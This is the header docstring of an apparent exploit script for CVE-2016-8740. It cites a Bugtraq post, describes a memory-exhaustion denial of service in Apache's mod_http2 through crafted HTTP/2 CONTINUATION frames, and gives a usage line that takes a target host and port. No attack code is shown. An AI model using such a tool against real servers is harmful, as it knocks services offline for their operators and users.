""" source : http://seclists.org/bugtraq/2016/Dec/3
The mod_http2 module in the Apache HTTP Server 2.4.17 through 2.4.23, when the Protocols configuration includes h2 or h2c, does not restrict request-header length, which allows remote attackers to cause a denial of service (memory consumption) via crafted CONTINUATION frames in an HTTP/2 request.(https://access.redhat.com/security/cve/cve-2016-8740)

Usage : cve-2016-8740.py [HOST] [PORT]
